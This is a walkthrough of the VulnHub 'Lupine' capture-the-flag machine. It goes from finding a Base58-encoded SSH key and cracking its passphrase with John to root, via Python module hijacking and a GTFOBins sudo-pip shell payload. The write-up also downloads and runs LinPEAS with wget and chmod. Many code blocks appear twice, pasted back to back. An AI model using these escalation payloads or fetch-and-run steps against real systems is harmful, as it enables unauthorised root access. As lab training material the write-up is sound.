September 7, 2026
Lupine VulnHub CTF Walkthrough: From SSH Key Leak to Root via Python Hijacking & pip
Before we begin, I should probably point out that the constant changes to my terminal theme are entirely mood-dependent. 😂

By Olamide Oyekale David
7 min read
First, I performed a Netdiscover scan to identify the target IP address.
Then I ran an Nmap scan on the target
Open Ports:
- 22 (SSH)
- 80 (Apache)
With the web server live and a couple of breadcrumbs already on the table, I dropped into the browser to see what was being served.
The landing page greeted me with the man himself—a top-hatted sketch of Arsène Lupin and little else of substance. The theming was a nice touch, but there was no obvious entry point. Time to dig deeper.
I moved on to /robots.txt and discovered the entry Disallow: /~myfiles. The tilde (~) prefix was the key clue: on Apache servers, mod_userdir can expose users' home directories using this URL pattern.
Navigating to /~myfiles/ returned a clean Error 404. The path turned out to be a red herring—or, more accurately, a pattern hint. The actual directory exists; it simply isn't named myfiles.
Custom Tilde Wordlist via sed
To brute-force other ~-prefixed directories, I generated a new wordlist:
Using this new wordlist, I fired up Gobuster to enumerate hidden directories and discovered a directory named ~secret.
Navigating to http:///~secret revealed a note from a user named icex64:
Inside /~secret/, there is an SSH private key hidden somewhere, which gives me a potential route to gain access to the system. The key was protected with a passphrase that was supposedly strong enough to withstand fasttrack.txt, a relatively small and commonly used password wordlist. Naturally, I decided to test that assumption.
Since I knew the directory but not the filename, the next step was to fuzz for hidden files. I ran ffuf against /~secret/, this time including common file extensions to increase the chances of identifying the key.
The key detail in the fuzzing pattern was the leading dot in .FUZZ, which specifically targets hidden dotfiles. The scan paid off, revealing the file .mysecret.txt.
Decryption & SSH Key Extraction
I downloaded the file with wget and inspected its contents with curl. What I found was an encrypted string that, at first glance, looked like nothing more than complete gibberish.
I fed the ciphertext into dCode's Cipher Identifier to determine what encoding or cipher might have been used. The strongest match was Base58, giving me a solid lead on how to decode the string.
I then loaded the ciphertext into CyberChef and applied the From Base58 operation. The output immediately revealed an OpenSSH private key, confirming that Base58 was the correct encoding.
I saved the decoded key as id_rsa and secured it by restricting its permissions with chmod 600, ensuring that only the owner could read or modify the file.
SSH ACCESS
With the private key in hand, the next step was to extract its crackable hash using ssh2john.
I then fed the resulting hash into John the Ripper and used fasttrack.txt as the wordlist. Despite the earlier assumption that the passphrase would withstand it, the password was successfully cracked.
After cracking, I tried logging in via SSH using the cracked value of the hash found by John the Ripper as password and it kept giving me "Permission denied."
I tried to convert the key into the older PEM format using puttygen (from the putty-tools package) but to no avail
The issue turned out to be a libcrypto/OpenSSL parsing problem rather than an authentication failure. Both ssh and ssh-keygen rely on the same underlying libcrypto implementation, which was unable to parse the key because of its bcrypt-KDF encoding.
Instead of fighting with the broken parser, I switched to another approach. Python's cryptography library provides its own OpenSSH key parser, allowing the key to be processed without hitting the libcrypto issue.
pip install cryptography --break-system-packagespip install cryptography --break-system-packages
Then paste the code below directly into your terminal, replacing yourpassphrase in the script with your actual cracked passphrase before pasting.
Make sure you're in /home/kali/Downloads (or wherever id_rsa actually is) since the script reads id_rsa as a relative path.
python3 -c "
from cryptography.hazmat.primitives import serialization
with open('id_rsa', 'rb') as f:
key_data = f.read()
private_key = serialization.load_ssh_private_key(
key_data,
password=b'yourpassphrase'
)
pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
with open('id_rsa_fixed', 'wb') as f:
f.write(pem)
print('Converted successfully')
"python3 -c "
from cryptography.hazmat.primitives import serialization
with open('id_rsa', 'rb') as f:
key_data = f.read()
private_key = serialization.load_ssh_private_key(
key_data,
password=b'yourpassphrase'
)
pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
with open('id_rsa_fixed', 'wb') as f:
f.write(pem)
print('Converted successfully')
"
Then:
chmod 600 id_rsa_fixed
ssh -i id_rsa_fixed icex64@<targetip>chmod 600 id_rsa_fixed
ssh -i id_rsa_fixed icex64@<targetip>
We should have a successful login afterwards
One important note: if you don't encounter this
libcryptoissue, there's no need to take this detour—you can proceed with the standard method.
If you do run into the problem, you also don't necessarily need to create a virtual environment. Using
--break-system-packagesallowspipto bypass the externally managed environment restriction and install the required package directly into the system Python environment. For a quick, one-off script, this is a practical approach.
Sudo Permissions & Python Module Hijacking
I started by checking the user's sudo privileges to determine what commands could be executed with elevated permissions.
The results show that I can run a Python script as the user arsene without a password
I then inspected /home/arsene/heist.py and noticed that the script imported a Python module named webbrowser.py:
Local Enumeration with LinPEAS
I moved LinPEAS to the box and ran it so I can find out the path of webbrowser.py
First set up a host on your attacker machine
Then on your target machine:
cd /tmp
wget http://<target ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.shcd /tmp
wget http://<target ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
After running LinPEAS, we can then find the full path of webbrowser.py.
Since the script was executed with elevated privileges and imported webbrowser.py, I modified the module to execute /bin/bash when it was loaded, effectively turning the writable Python module into a privilege-escalation vector:
nano /usr/lib/python3.9/webbrowser.pynano /usr/lib/python3.9/webbrowser.py
Then run the script using sudo with arsene as user which will switch shell to user arsene.
Privilege Escalation via pip (GTFOBins)
Once in as arsene, check sudo privileges:
sudo -lsudo -lThe output came back as:
(ALL : ALL) NOPASSWD: /usr/bin/pip(ALL : ALL) NOPASSWD: /usr/bin/pipThis is a known exploit path on GTFOBins.
I actually ran into another issue at this stage. The payload provided by GTFOBins didn't work in my case because the shell executing the exploit didn't have a proper controlling terminal attached. This can happen when working from a non-interactive shell, a reverse shell, or when terminal handling gets disrupted by tools such as
scriptortmux.
The payload on GTFObins:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <\$(tty) >\$(tty) 2>\$(tty)')" > $TF/setup.py
sudo pip install $TFTF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <\$(tty) >\$(tty) 2>\$(tty)')" > $TF/setup.py
sudo pip install $TFIf that doesn't work, there is a quick fix—find your actual tty device manually and hardcode it instead of relying on $(tty):
ttyttyIf the command returns a path such as /dev/pts/0, I used that specific path directly in the payload instead of relying on $(tty) to resolve the terminal dynamically at runtime:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh </dev/pts/0 >/dev/pts/0 2>/dev/pts/0')" > $TF/setup.py
sudo pip install $TFTF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh </dev/pts/0 >/dev/pts/0 2>/dev/pts/0')" > $TF/setup.py
sudo pip install $TFNB: swap
/dev/pts/0for whatever yourttycommand actually returned
This adjustment worked as expected, and Boom I was successfully able to escalate my privileges to root.
A quick cd into /root/ showed root.txt hanging out there
Another Note: If
ttyitself also says "not a tty" when run plain in your current shell, you're not attached to a real terminal at all — try wrapping your session first:
"script -qc /bin/bash /dev/null"
That reattaches you to a pty, then retry
ttyto confirm you get a real path, and rerun the exploit with that path substituted in.
THANKS FOR READING!